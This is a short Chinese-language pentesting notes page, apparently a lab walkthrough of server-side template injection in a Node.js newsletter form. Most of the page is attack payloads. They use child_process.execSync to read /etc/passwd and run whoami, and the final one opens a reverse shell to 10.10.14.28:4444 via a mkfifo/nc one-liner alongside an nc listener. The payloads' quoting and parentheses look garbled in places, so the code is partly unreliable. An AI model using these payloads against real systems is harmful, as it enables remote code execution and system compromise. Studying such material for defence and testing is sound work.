> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-node.js-pentesting-web.md).
# SSTI Node.js
## SSTI（Node.js）
我们注意到有一个功能允许用户输入电子邮件以订阅新闻通讯。服务器的响应会直接显示我们的输入内容，这暗示可能存在 **服务器端模板注入（SSTI）**.
#### 漏洞测试
我们用 **Burp Suite** 拦截请求，并测试一个经典的 SSTI：
```json
{{9*9}}
```
如果响应显示 `81`，则应用程序存在漏洞，情况确实如此。
### 读取 `/etc/passwd`
我们使用下面的载荷来显示以下内容： `/etc/passwd`:
{% code overflow="wrap" %}
```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')/"))}}
```
{% endcode %}
#### 获取当前用户
{% code overflow="wrap" %}
```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('whoami')/")()}}
```
{% endcode %}
我们得到 `david`.
### 通过 SSTI 获取反向 Shell（Node.js）
在端口上启动监听器 **4444**:
```bash
nc -nlvp 4444
```
发送反向 Shell 载荷：
{% code overflow="wrap" %}
```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 4444 >/tmp/f')/")()}}
```
{% endcode %}
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